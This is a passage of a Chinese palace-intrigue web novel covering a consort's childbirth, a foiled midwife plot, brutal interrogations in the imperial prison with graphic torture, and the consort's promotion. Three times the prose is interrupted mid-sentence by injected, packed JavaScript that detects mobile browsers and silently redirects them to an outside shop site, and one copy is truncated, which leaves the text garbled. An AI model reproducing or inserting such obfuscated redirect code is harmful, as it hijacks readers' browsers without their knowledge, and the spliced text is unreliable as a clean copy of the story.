同在六月,沈明珮本已显怀数月的肚子更加巨大,连基本的日常活动都会让她劳累。巨大且实心的肚子在睡觉时也是沉重的负担,她的眼周出现了明显的黑眼圈,不得不在白天补觉。 正如云太医所言,这些都是孕妇在孕晚期的正常现象。她能做的大概只有在长春宫院内适当行走,避免难产。 “娘娘,稳婆和乳母都已经到了。”六月下旬,行走一圈的沈明珮正坐在床上喘粗气,寒露走进来禀报。 “好,你打听清楚她们的来历,然后盯紧她们。”沈明珮边喘边说。 寒露应下。 两个稳婆,两个乳母,至少看起来都很安分,在长春宫内老老实实。白菊套话后,寒露也去信宫外,让勇毅伯府请孙指挥使派家中下人打探消息,也没有不符之处。 沈明珮与寒露暂且放下心来。 进入七月,沈明珮随时有可能发动,宫中上下时刻做好准备。七月初八晚上,她感觉到腹部有一股与平日完全不同的疼痛。 “寒露,我应该是要生了!” “我去请太医!”寒露飞速跑到太医院,不过一刻钟便拖着云太医跑回来。 此时沈明珮的疼痛已经很明显了。云太医顾不上一路高速奔跑后的劳累,立刻为沈明珮看诊。 “娘娘确实是要生了。”他很快便下结论。 “白菊,你扶娘娘进产房,宋英,你去告诉皇上,白芷,你去告诉皇后!”寒露立刻担起大宫女的职责,给众人分配任务,随后自己喊稳婆就位。 产房是长春宫正殿内的一间小屋,里面早已布置妥当。白菊一脚踢开门,把沈明珮扶到床上,而后协助沈明珮躺下。 沈明珮刚刚躺好,寒露就带着两个稳婆走进来,两人立刻就位。 “寒露,你出去,安排那几个等陛下、娘娘和各宫主子们到了招待他们,然后回来坐镇产房,白菊,你在产房里待命。”趁着还有余力,沈明珮发出最后的指令,随后不再言语。 宋英以最快的速度跑到乾清宫,然后被守门的太监拦下。他立刻将宫牌递上。 “长春宫?”太监接过去看了一眼,又还了回去,“陛下正在批阅奏折,谁都不见。” “劳烦你同陛下通报一声,贤嫔娘娘要生了!” “什么?你且等我。”太监身形一震,转身直奔殿内而去。 不一会儿,他带着皇帝走出来。 “带路。”皇帝只说了两个字,宋英立刻走到前面,带着皇帝快步走到长春宫。 皇帝进入长春宫时,皇后也已经到了有些时候,见皇帝驾临,立刻起身行礼。 “陛下。” “嗯,”皇帝胡乱点点头,而后问守在产房外的云太医,“贤嫔怎么样?” “回陛下,娘娘一切正常。” 皇帝又点了点头,坐到主位上,一言不发地等着产房内的消息。 “陛下,贤嫔妹妹是头胎,还要很久才能生出来,要不您先回去休息?”皇后坐在他身边,悄声建议。 “不必了,”皇帝想都没想就拒绝,“明日没有早朝,朕就在这里等着。” 皇后面色不太好看,也一言不发地坐着。气氛一时间很是冷淡。 宫妃们陆陆续续到来时,看到的便是这样一幕让人心里打哆嗦的情景。她们装作什么也没发生,恭敬地向帝后请安,然后远远地坐在别处。 皇帝对此毫不在意,皇后心中虽有不满,面上也一切如常。 沈明珮躺在产房的床上,疼痛感已经非常明显了。她咬着牙不让自己喊出来,免得体力流失,正坚持时,眼前出现了一个碗,里面是一碗面条。 “娘娘,先吃点东西吧。”白菊捧着碗筷说道。 沈明珮接过碗筷,挑起筷子就吃。面有着浓重的鸡汤味,还有点药味。 “现在是什么时候了?”她吃得一干二净,将碗筷还给白菊。 “还未到子时呢。” 竟然才过去这么短吗?沈明珮恍惚,疼痛再一次叩开她大脑的防御。 她低声叫出来。 皇帝守在正殿,听不到一点叫声,沉默中竟然沉沉睡去。直到天空泛起蒙蒙亮光,他才醒过来,一看周围,妃子中也有人睡着。 正在这时,他听见产房里传来的痛呼声。 产房内,沈明珮已经痛到失去时间概念。她牢记着“不能呼喊浪费体力”的告诫,但事实证明,在极致的疼痛面前,一切理智都会烟消云散。她根本无法抑制住惨叫。 在骨盆近乎断开的疼痛下,她只能凭借本能行事,周遭的声音似乎隔了层纱,隐隐约约听不清楚。 直到她听到一声高呼:“开了,全开了!” 她感觉有手伸进了她的身体,背负了九个多月的负担正在离她远去。正要体会到久违的轻松时,她突然感觉有什么东西在向她的体内怼! “你在干什么!”她听见寒露的厉喝。 寒露自从进了产房,就一直保持高度的警惕,产房内所有人的所有行为都在她的监督之下。这么长时间下来,她也已然疲倦,巨大的困意时不时袭来。听到稳婆说全开时,她送了一口气,没想到没多长时间就出了这么大的事! 她立刻冲上去制住这个正在搞小动作的稳婆,又命令在旁的另一个稳婆:“你,过来顶上!若是再有问题你们两个一个都不用活了!” 另一个稳婆也被吓到,慌忙补上位置。见她双手颤抖,白菊走到她身后,手搭上她的肩膀。 “深呼吸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027362|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要慌,”她一边说一边从上到下抚摸她的后背,“没关系,只要稳住,你就不会失误。” 稳婆在她的安抚下真镇定下来一些,立刻稳住双手,纠正了前一个稳婆的行为,使生产回到正轨。 沈明珮的不适感消退,身体回到先前的疼痛状态中。终于,又不知道过了多久,她终于感觉到下身一轻。 “生了,生了!”她听到稳婆喜悦的呼喊,虽后是一阵洪亮的啼哭声,“是个皇子!” 婴儿的声音穿透力很强,产房外等待的众人听得清清楚楚。 皇帝站起身来,皇后和妃嫔们见状也不能再坐着,于是白菊推开门后,产房里的人就看到了乌泱泱站着的一群人。 “恭喜陛下,恭喜娘娘,”稳婆抱着新生的皇子走出产房,“贤嫔娘娘生了个皇子。” “拿过来给朕看看。” 皇帝说完,稳婆立刻抱着皇子走出来。产房里各种物资准备充足,皇子已经裹上了襁褓。孩子递给跟着皇帝来的太监,太监将孩子抱给皇帝看,皇帝左看右看,也没觉得这孩子跟能看沾边。 稳婆到底是有丰富的从业经验,看皇帝的脸色就知道他在想什么,忙赔笑着说:“陛下,孩子刚生出来都不好看,等过几天就好了。” 皇帝无声地点点头,示意太监把孩子还给稳婆。 “先前产房里发生了什么?”寒露的那声厉喝他听得清清楚楚。 “回陛下,是有一个稳婆想要动手脚,被寒露姑娘发现并阻止了。”稳婆回答。 皇帝的脸顿时便黑了——这人是他让赵德光和尚宫局一起找的! “让赵德光滚过来!”他立刻命令身边的太监,太监行礼告退后直接跑出长春宫。 随后他满是杀气地看向已经被双手反剪捆在背后的稳婆,命令寒露:“你说是怎么回事。” “是,”寒露应下,“这稳婆在接生孩子时把孩子往娘娘肚子里送,若非发现及时,还不知道会发生什么。” “云卿,你来说说会发生什么?”皇帝又问云太医。 云太医当然往重了说:“回陛下,若是情况严重,会危及娘娘性命。” 长春宫内一片沉默,只有白菊在产房内安静地收拾残局。过了一会儿,先前跑出去的太监带着赵德光回来,赵德光一跑进来,还没来得及行礼,就听到一声满是怒火的“跪下”。 赵德光不明所以,但立刻跪下。 “陛下,可是奴婢做错了什么事?” “你当然做错了事,”他的态度没能抚平皇帝的怒火,反而又让它多烧了两尺高,“寒露,你把产房里发生的事,再一五一十地说一遍。” 寒露说完,赵德光立刻磕头求饶。 “奴办事不力,罪该万死,求陛下给奴一个戴罪立功的机会,查出幕后主使。” “可以,”皇帝毕竟没打算真把自己心腹处死,“此人交由司礼监与锦衣卫联合查办,这次若是再做不好,你就提头来见朕吧。” 赵德光连连叩首,起身后拖着犯事的稳婆离开。 四皇子已经出生,后妃们相继离开。沈明珮尚在昏迷中,皇帝命云太医留下来为她诊治,而后也返回乾清宫。 长春宫终于安静下来。 36. 刑讯 沈明珮自混沌中睁开双眼,看到的是产房小窗外明亮的天光。她张开嘴,发现自己声音嘶哑。 “寒露!”她扯着嘶哑的嗓子唤道。 门推开,露出寒露满是喜色的脸。 “娘娘,您醒了!”她欢声雀跃,又侧头命令旁人,“快拿水来!” 很快就有宫人端来水,她接过杯子,走进产房,将水放到沈明珮嘴边。 沈明珮手臂撑着床,支起身子,就着她的手喝了两口水,就又躺下。不再口渴后,饥饿感立刻浮现。 “现在是什么时候了?”她问。 “四皇子殿下的洗三礼已经结束了,”寒露兴高采烈地同她说,“陛下为殿下赐名瀚,浩瀚之瀚,还晋娘娘为贤妃!” 说着,她将一卷圣旨拿给沈明珮看。展开圣旨,上面赫然是沈明珮的晋封旨意—— “奉天承运,皇帝制曰:礼重内朝,国有彝制;德既备于宫壸,位宜峻其等威。贤嫔沈氏,并体坤之德,循姆师之训;齐庄之礼,淑慎有仪。扬懿轨于中闱,表柔明于内则;惠流宸禁,芳霭椒涂。慕辞辇之智,弘逮下之德。宜极宠数,以彰徽猷,无愧于女史之诫、国风之诗。令所司择日备礼册命。” 既是册封旨意,自然要极尽赞美之言,沈明珮看过后并无多少表示,只示意寒露将圣旨收好。 “宏瀚在哪儿呢?让我看看。” 寒露领命而去,不多时便带着抱着四皇子的乳母前来。乳母非常恭顺地将四皇子抱给沈明珮。 沈明珮撑起身体,靠坐在床头,接过四皇子。刚出生三天的婴儿并不沉,她虽昏迷三天后刚醒,也能勉力抱住。已出生三天的婴儿皮肤略有发黄,但无论如何也比刚出生时顺眼很多。沈明珮看着他,觉得有些陌生。 “娘娘可是初见四皇子,有些失神?奴婢的母亲曾对奴婢说,初为母亲时的感觉很是神奇,她第一次抱我时也愣神了呢。”寒露见沈明珮眼神放空,笑着说。 沈明珮轻勾唇角,没有纠正她的话,把婴儿交还给乳母。 “本宫刚醒,体力不足,四皇子交给你们两个乳母照顾,望你们尽心尽责。” “娘娘放心,奴婢必会尽心职守。”乳娘忙不迭地应下。 先前那个下黑手的稳婆已经进了锦衣卫诏狱,她们怎么可能敢重蹈覆辙? 正好白芷端着面条与鸡汤进来,乳娘顺势告退。沈明珮风卷残云般将吃食吃得干干净净,而后白芷端着碗筷退下。 她问寒露:“我生产那天出了什么事?后续怎么样了?” “回娘娘,当时是有稳婆要将四皇子往您的肚子里塞,所幸发现及时,没有大碍。此稳婆迅速被奴婢拿下,由另一人顶上。娘娘生产结束后,此稳婆已被带至诏狱,由司礼监与锦衣卫共同审讯。” 寒露连珠炮一般把事情交代清楚,而后又补充道:“奴婢已拿此事敲打了两个乳娘,她们都很守规矩。” “你做得很好,”沈明珮说着,困意再次上涌,打了个哈欠,“你先出去吧,我再睡一会儿。” 寒露退下,离开时关好产房的门。 诏狱内,赵德光的心情很不好。这稳婆已经被送进来三天,各种刑都上了一遍,可她就是不开口。她不开口,他就完不成任务,完不成任务,他就要挨罚。 心烦意乱间,他稳孙指挥使:“孙大人,这稳婆的家人可抓住了?” 孙指挥使默默摇头。 当他带着锦衣卫赶到稳婆家时,她家早已人去楼空,锦衣卫立刻询问稳婆的邻居,可这些邻居也都是一问三不知。 赵德光急了。 “孙大人,那些刁民若是再不说,就把他们也抓起来审吧!”见孙指挥使一脸不赞同,他急得直拍大腿,“孙大人,现在是仁慈的时候吗?皇嗣和宫妃险些被害,陛下怒不可遏,誓要严惩罪魁祸首,您要是没审出来,陛下难道就不会降罪于您吗?而且贤妃娘娘也是您女儿的小姑子啊!” 孙指挥使当然也想让稳婆开口。正如赵德光所言,以他家和勇毅伯府的姻亲关系,若是贤嫔出事,他也会蒙受损失。可有些原则无论何时都不能破。 “赵大人,本官当然也很焦急,只是那些百姓没有陛下诏令,没有违反律例,便是锦衣卫也不能随意逮捕。” 赵德光气得脸都歪了,心里早就骂了无数脏话。 这头倔驴! 两人的动静稳婆也听到了一点,她呵呵笑着,声音如同拉风箱一般。 “省省力气吧,你们什么也查不到。” 赵德光怒极,抓起鞭子就要抽她,被孙指挥使拦下。 不等他发作,孙指挥使立刻说:“赵大人,这人已经伤得极重,您若是再用刑,她可能会死。” 赵德光这才清醒过来。怎么着也不能还没审出来就把犯人打死了啊!他恨恨地扔了鞭子,叫来自己的手下。 “去太医院,请个医官来,给她吊住命。” 等待医官到来时,一个锦衣卫武官抓着一把碎银子跑进来。 “指挥使!属下在犯人邻居家里搜到了碎银子,所有邻居家里都有!” 赵德光和孙指挥使眼睛不约而同地亮了。 “把这些邻居全部抓进来!”孙指挥使立刻命令来人,没多久,锦衣卫拎着这条街上的所有居民,浩浩荡荡地进了诏狱。 孙指挥使险些笑出来。 “你倒是慷慨,竟然给这条街上所有人家都送了银子,”此时医官已经稳住了稳婆的状态,孙指挥使的话她听得清清楚楚,却闭着眼睛装听不见,孙指挥使也不在乎,“你觉得这些人能为了你送的银子宁死不屈吗?” 答案显而易见,不能。 都不用锦衣卫用刑,这些普通百姓在看到刑具的那一刻就已经吓破胆了,求饶声响彻诏狱。 这些邻居固然不知道稳婆的家人都去了何处,但这家人长什么样他们是知道的。为了活命,他们你一言我一语,很快锦衣卫就画出了稳婆家人的画像。 邻居们的银子虽然没了,但是命保住了,他们都完完整整回了家。 几人的画像被贴到各个府、州、县,没几天,稳婆的家人们也尽数落网。对这些人,锦衣卫没有丝毫的仁慈,扔进诏狱后立刻上刑。 可这些人依旧不开口。 “算了,让咱家来吧!” 赵德光拎着稳婆的长子,把他扔到稳婆的面前,绑在刑架上。随后拿出片肉的刀,脱下稳婆长子的衣服。 “你什么时候招,咱家什么时候停手!” 说着,他在稳婆长子的左臂上割下了一片肉。惨叫声充斥着牢房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031115|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,稳婆闭上眼睛,把头撇向一边。 赵德光当然不会这么放过她:“来人,给我把她的头转过来,把她的眼皮掰开!” 可直到长子被片成骨头架子,稳婆依然没有在惨叫声中开口。赵德光黑着脸把最后一刀捅进稳婆长子的心脏。 “把他烧干净,骨灰扬了。” 他在这里气急败坏,孙指挥使忽然走到一边,对属下下令。 赵德光看见领命而去的锦衣卫,问孙指挥使:“你这是要做什么?” “我在想……这稳婆家里最近是不是有什么人员变动?” 赵德光眼睛一亮。 这一次,锦衣卫很快就带来了消息。 “两位大人,拒犯人邻居所说,犯人本还有一个一岁多的幼子,在她被选为贤妃娘娘的稳婆后就病逝了。” “病逝?”赵德光阴阳怪气,“既然有家人病逝,为何不上报?陛下素来仁德,岂会命人强忍悲痛完成帝命?” 到底是病逝,还是被人接走,眼下已是一目了然。 “你说得没错,但是是谁把人接走的,我们都不会说。” 那位大人说了,会让她的幼子有一个体面的出身,会让他读书,给他一个考取功名的机会,她绝对不能毁了自己孩子的未来! “你不说便不说吧,反正如今我们也能够向陛下复命,”孙指挥使冷声道,“但是一个敢买通他人对皇嗣下手的凶徒,真的会在你下手失败后遵守诺言,给你的孩子一个好前途吗?” 说完,他不再理会稳婆,与赵德光一起走出了牢房。 审讯结果由两人一起上报给皇帝。乾清宫内,赵德光战战兢兢,生怕皇帝认定自己办事不力,让自己领罚。 好在皇帝并没有发作。他沉默了一会儿,才下令道:“此贼妇谋害皇嗣,凌迟处死,家中其余人等,全部斩立决。将此案移交刑部。” 孙指挥使领命而去,留下赵德光一人站在皇帝面前,大气不敢出。皇帝看他的样子,直接气笑了。 “瞧你那没出息的样子,行了,你任务完成得不错,朕不罚你了。” 赵德光立刻活过来,一脸狗腿地冲着皇帝行礼。 “多谢陛下,多谢陛下。” “停,”皇帝制止住他,“六尚女官最近哪些人有违反宫规的行为,你都记得吧?” “回陛下,奴都记得清清楚楚,请陛下稍等。”赵德光立刻一脸正色,跑到自己当值的位置上,将一摞纸捧到皇帝面前。 “陛下,皇宫内宫人行止,都在这里了。” 第二天,尚仪局尚仪就因收受贿赂被摘去女官之职。 长春宫内,寒露在云太医看诊后,将此消息告诉沈明珮。 “娘娘,您怎么看此事?” “我怎么会知道?六尚那边我们哪有什么人手?”沈明珮摊手,“也许是那位前尚仪正好犯事被发现,也许是陛下要借着她敲打某个人,谁知道呢?” 寒露不甘心,又问:“娘娘觉得,这会不会与那个稳婆有关?” “我不知道,”沈明珮很摆烂,“不过就算是有关也说明没有惩罚到幕后主使的头上,所以,无所谓,我们不用管。现在我养好身体,你看着乳母带好宏瀚才是最主要的。” “我明白。”寒露点头。 37. 封妃 刚出生的孩子一天一个样,到满月时,四皇子已经与刚出生时大不相同。 沈明珮也终于结束了坐月子。这个时代的人尚无后世现代医学知识,女性坐月子是异常痛苦。她尚且有云太医看诊,以自己能达到的最快速度恢复,依然吃了不少苦头。 月子里最后一天,她软磨硬泡地说服了寒露,用热水浸湿巾帕,将头发完整擦拭,总算看着过得去了些。 结束月子之日,也是四皇子满月礼之时。满月宴在长春宫举办,快到开宴时辰时,各宫妃嫔已尽数到场。 沈明珮在寝屋中,正做着最后的打扮,寒露将挑心簪插到狄髻顶端,方才大功告成。 “好了,娘娘可以出去了。”她整体端详了一番,确定没有任何问题。 沈明珮站起身。朱红鸾凤补服,飞凤天马妆花马面,还有金光闪闪镶着宝石的一套狄髻,让她的状态如在巅峰。她带领抱着四皇子的乳母,直奔正屋而去。 为了保护刚出月子的产妇和刚满月的婴儿的健康,此次宴会办在长春宫正殿之内,便也不免有些空间逼仄。沈明珮走进正殿中央的大殿时,看到的就是大家紧密地排在一起的画面。她只当看不见,说了几句基本的客套话后就坐到主位左下首。 快到时辰时,皇后终于到了,穿着一身燕居服。双凤翊龙冠在她头上似乎轻若无物,明黄大衫披在她身上熠熠生辉,这哪里是来赴宴的,明明更像是打仗。 沈明珮屈身行礼,殿内响起整齐划一的“妾见过皇后娘娘”。 “起来吧。”皇后看都没看她们,径直坐上主位。 此时已经到了开宴的时辰,偏偏皇帝还没有来。沈明珮静坐在座位上,好像没意识到已经到了时辰。 “到时辰了,开宴吧。”皇后立刻说。 自从尚仪局尚仪被换掉后,皇后的心情一直不太好。稳婆一事固然已经到此为止,但这已经是不知道第几次她在沈明珮这里碰壁了。此刻见皇帝未来,她迫不及待地想要立刻开宴,把这场满月宴做成皇帝没有来的效果。 沈明珮当然不能同意。 “娘娘,陛下还没来呢,我们怎能不等陛下就开宴?妾已经派人去请陛下,若是陛下确实有事来不了,咱们再开宴也不迟嘛。” “娘娘,贤妃妹妹言之有理,”宸妃在一旁帮腔,“我们再等等也没关系。” 皇后如同吃了苍蝇一般地撇开脸,没再坚持。 好在不到半刻宋英就领着皇帝进了正殿,皇帝直接免了众人的行礼,坐到主位上就让开宴。 吃到尾声,皇帝酒足饭饱,想看看儿子。 “把老四抱过来给朕看看。”他大声道。 乳母立刻抱着四皇子走到皇帝面前。凭着酒意上涌,皇帝心血来潮,竟然直接接过四皇子。新的怀抱不算舒服,四皇子别扭地动了几下四肢,而后就瘪了嘴。 好在皇帝也意识到自己不会抱孩子,颠了几下又还给乳母。回到熟悉的怀抱,四皇子没再折腾,又归于平静。 沈明珮在一旁看得心惊肉跳,到最后终于能松口气,幸好没当着皇帝的面大哭。她当机立断,决定把四皇子和皇帝分开。 “陛下,到了给宏瀚喂奶的时候了,不若妾身让乳母带他下去?” “可以。”皇帝当即应允。 沈明珮给了乳母一个眼神,她立刻抱着四皇子行礼,而后退下。适逢宴席到了尾声,皇帝宣布宴席结束。 各宫妃嫔有序离开,沈明珮作为东道主,与她们一一道别。最后只剩下帝后二人。 宴席开始是帝后没有相携而来,但既然没有公开撕破脸,此时便不能不相携而去。沈明珮向两人行礼。 “妾恭送陛下,恭送娘娘。” “嗯,你这几天再养养身体,朕等着你的册封礼。”皇帝丢下这句话后离开。 出了长春宫,皇后便说:“妾知晓陛下还有政务,便不留陛下了。” “嗯,皇后也不必送了。”皇帝说完,在太监的陪伴下离开。 皇后谦恭地对着他的背影行礼,直到他消失不见才站起身,手心已留下数个清晰的指甲印。 “走,回宫。”她寒着脸坐上步辇,被宫人抬回宫中。 从嫔到妃有什么不同呢?尚服局呈给沈明珮的,是七翟冠,是全新制式的霞帔与霞帔坠。这些精美的物件摆在桌上,阳光透过窗户照在上面,让它们流光溢彩。 沈明珮看着它们,陷入沉思。 “娘娘,娘娘?”寒露在一旁唤她,见她没有反应,伸手在她眼前晃荡,终于让她回过神来,“娘娘,您在想什么呢?” “想什么……”沈明珮还是有点恍惚,“你说,从选侍到贵妃、皇贵妃甚至皇后,这一级级的地位与待遇的差异,像不像往鱼群里扔进去的让鱼为了争食而搏斗的鱼食?” “啊?娘娘这话是什么意思?”寒露并不明白沈明珮在讲什么。 沈明珮叹了口气:“罢了,你便当我什么也没说吧。” “娘娘,该试新衣了。”寒露说着,欢喜地拿出尚服局新赶制的大礼服,迫不及待地给沈明珮披上,又为她戴上桌上的新物件。 换完衣服,她将沈明珮推到镜子前。 “娘娘您看,是不是很好看?” 沈明珮看着镜中的自己。这张脸她已经对着镜子看了快十八年,明明早该习以为常,偶尔她还是会有点恍惚,就像现在,她好像在透过镜子看一个陌生人。 “娘娘?”耳边再一次响起寒露的声音,沈明珮收敛精神,对着镜子露出一个笑。 不站在这个时代的顶峰,怎么可能真正改变自己的命运?在此之前,一切牺牲都是值得的。 “不错,”她评价道,“很合身。” “那就好,那奴婢就这么答复尚服局了?” 沈明珮点点头,寒露帮她褪下大礼服后立刻前往尚服局。 再一次穿上大礼服,已是册封礼当天,她在两个礼官的引领下来到皇极殿前。 皇极殿前的广场上,外命妇与百官早已列队站好。沈明珮在他们的注视下走到皇极殿前,皇帝将圣旨递给册封礼正使,正使宣读册封圣旨,而后她面对皇帝下拜。 而后尚仪局女官宣册,她接过金册,再次下拜,如是共八拜,方行完谢恩礼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035895|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 拜完皇帝,她在礼官的引领下坐在早已为她设好的面朝南方的座位上。接下来又是别人拜她。大长公主、长公主、公主、各亲王妃皆上前,行四拜礼,而后是郡主、县主、县君、乡君与郡王妃、镇国将军夫人、辅国将军夫人、奉国将军夫人。 宗室命妇拜完,六尚等女官,五品及以上诰命夫人再行四拜礼,沈明珮看向队伍的后方,费了很大劲才看到她的母亲——刘芸在队伍的尾巴处,穿着一身繁复大礼服,跪在地上拜她。 她悄悄握紧了座椅的扶手。 参拜完毕,正副使告退,外命妇退场,百官随皇帝行进。沈明珮站起身,在尚仪局女官的指引下前往坤宁宫,拜谢皇后的同时再接受除宁妃、宸妃外其他内命妇的参拜。再之后,皇后带着妃嫔与皇帝汇合,将立妃之事谒告奉先殿。这些倒是与册封贤嫔时完全相同。 礼毕之后,百官与妃嫔退下,帝后带着沈明珮前去慈宁宫。慈宁宫外,太后的心腹女官笔直地站着,看样子已是恭候多时。 “禀陛下,太后娘娘今日身子不适,不宜见客,让奴婢转告陛下,贤妃在院中行过礼便是礼成。” 皇帝毫不犹豫道:“既然如此,贤妃,你在院中行礼便是。” 沈明珮便在慈宁宫院中依规行礼。 “多谢陛下体恤,奴婢这便回禀娘娘。”女官正欲离开,被皇帝叫住。 “等一下,既然母后身体不适,朕便请太医院院判来为母后看看,”说完,他瞪了赵德光一眼,“还不快去。” 赵德光立刻跑着离开,大抵过了两刻,他带着太医院院判归来。不用皇帝多说,太医院便走向慈宁宫正殿。 女官立刻跟上。过了一会儿,太医院院判自己走出来。 “禀陛下,太后娘娘有点风寒,臣已为娘娘开了药方。” “好,”皇帝命令他,“务必要让母后尽快康复。” 太医院院判离去,皇帝看着站在一边的皇后与沈明珮,挥了挥手。 “你们也回去吧。” “妾告退。”沈明珮如蒙大赦,立刻离开。 回到长春宫,新的宫人已经到齐,照例由白芷和宋英训练。四皇子的哭声响彻正殿,乳母抱着他哄也没什么效果。 “这是怎么了?”她来不及脱大礼服,忙让乳母将孩子抱来,“怎么哭成这样?” 乳母低下头,沉默片刻,方才说:“也许是小殿下想娘娘了。” 四皇子平时都由乳母照顾,但每天上午和下午都有与沈明珮呆在一处的固定时间。本日的固定时间沈明珮在接受册封,四皇子久等不至,居然哭了。 “这么聪明吗?”沈明珮笑着接过四皇子,四皇子居然真的不哭了,睁大眼睛看着她翟冠上缀着的珠结挑牌。 沈明珮见他不哭了,又摇了几下,交给乳母。这次,四皇子没有再哭。 寒露在一旁看着这一切,再结合这一个多月来沈明珮对四皇子的态度,总觉得她对四皇子并不亲近。正纠结着,她听见沈明珮唤她。 “寒露,帮本宫把衣服脱了。” “哎!”她收起思绪,跑到沈明珮身边。 38. 救人 “娘娘,宋莲姑娘来信了!”当天下午,寒露拿着信件闯进沈明珮的寝屋。 沈明珮抬起手,寒露将信递到她手里,她展开信,看着看着就笑了。 “寒露,你去把宋英叫来。” 宋英一走进寝屋,还没来得及行礼,一封信就糊在他面前。 “你妹妹寄来的信,你好好看看。” 他满心疑虑地接过信,从头到尾看过一遍后,只觉心惊肉跳。他又上移视线打量沈明珮的脸色,见她并无愠色,才心中稍定。 “莲娘行事不知轻重,求娘娘……” “你看,让你妹妹行商,是不是比让她呆在家中嫁人好多了?” 两人的话撞在一处,宋英惊讶地抬起头。他以为沈明珮找他是因为宋莲有事请沈明珮帮忙,现在看来,似乎不是如此? “你在想什么?”见他满脸迷惑,沈明珮失笑,“放她出宫以前,你能想到她能迅速经营好数个铺子,并且迅速找到自己未来的行商方向吗?” 宋英摇摇头。在他的认知里,宋莲一直是被昔日父母兄长宠爱的小女孩,是家破人亡需要他保护的仅存的亲人,原来在他不知道的时候,她也有了独当一面的能力。 “奴代舍妹谢娘娘栽培,”他感激道,“只是,莲娘信中所求,会不会麻烦娘娘?” “不麻烦,”沈明珮想都没想就否认,“本宫帮助自己的义妹,有什么麻烦的?而且这是在救人于水火,纵使是麻烦又怎能袖手旁观?” 这便要从宋莲救下的人说起了。 途径山东时,宋莲在官道上捡了一个晕倒的女人,此人曾是尚食局厨艺最好的宫女,甚至因为厨艺优异得封九品女史。按理说这样的人被放出宫后,凭着自己的手艺,怎么也不至于过得太差,但她确实全然一副走投无路的模样。 “你不该救我的,”昔日沈昭仪收义妹之事阖宫皆知,这名为玉漱的前宫女自然也认得宋莲,“你救了我,只会给你和贤嫔娘娘带来麻烦。” 宋莲奇道:“到底是出了什么事?” 玉漱娓娓道来。她昔日在宫中时,为免家人担心,曾向家中去信,坦言自己的状况。她的父亲自此便常向邻里炫耀,街坊四邻都知晓她家有一个在宫里当厨子的女官。她归家后,当年生日,家里与几家关系好的邻居共同办了场宴会贺她归来,她为主厨。 生日宴上她做的饭食过于美味,不想引来了恶狼。 当地知州正要招一个厨子。有仆从歇了手中的活出来闲逛休息,路过正办生日宴的街坊,也坐下来夹了一筷子。 只一筷子,便惊为天人。 他立刻跑回知州府上,将此事告知知州,建议知州聘请此宴的厨子为厨娘。知州立刻派人调查,不过几天,玉漱的资料就摆放在他的案头。 但知府并不想聘用玉漱为厨娘。 “一个曾在尚食局当值的厨娘,得给多少薪水才合适?反正她一个被放出宫的宫女,这么大年纪了,还未许人家,不若本官纳她为妾,”知州通知夫人,“你把纳妾礼准备上,本官同她父亲说好了就纳她进门。” 知州第二天就派人上门,不想却吃了闭门羹。原因无他,玉漱早与父母说好,此生不嫁人,在家开吃食摊,以挣的钱全归家里换父母、兄嫂和侄子对她的供养。那场生日宴其实也是在为她开摊子造势。 知州被拂了面子,心头火起,竟诬赖玉漱家偷盗官府公物,将她全家暴打一顿后下了狱,更是从狱中强绑了玉漱进知州府。 玉漱强忍着痛恨与知州虚与委蛇,终于在一个多月后找到机会逃了出来,在躲避知州追兵的时候被宋莲捡到。 宋莲在信中写到,想在京城开饭庄,并以玉漱为主厨,但又担心知州的人找上门来,摆脱义姐能帮忙解决此事。 沈明珮看着信上这地方,觉得有点眼熟。突然,她一个后仰——青州府莒州,这不是她那个宗法上的大哥就官的地方吗? 好个沈家大爷,到了地方还敢做这等恶霸之事哪! 本日是册封礼当天,晚饭过后,皇帝驾临长春宫。他一跨进宫门,就见沈明珮素衣脱簪,跪在地上,赫然是一副请罪的模样。 “爱妃这是怎么了?”他立刻走过去,把人扶起来。 沈明珮一脸哀伤:“让陛下见笑了,只是实在是家门不幸。今日妾收到义妹的来信,得知她救了一个人,也才知道,妾的大哥,作为一州之长,不仅不使治下民众安居、政令通达,反而逼良为妾,甚至不惜构陷百姓,只为威逼人屈服。妾作为陛下妃嫔,不仅未能约束家人,反而在他们犯下如此大错数月后才知此事,实在有愧于陛下。” “先进去,让朕看看信。”皇帝手上发力,架住了又要下跪的沈明珮,把她架进长春宫正殿中。 进了正殿,沈明珮主动带皇帝进了寝屋,直接将摆在小几上的信递给皇帝。皇帝接过信,越看脸色越难看,看到最后,把信拍在桌上。 他深吸口气,审视地看向沈明珮,“此信朕拿走了,之后的事情会有锦衣卫来办,在结果出来前,你莫要告诉任何人。” “是,陛下。”沈明珮领命。 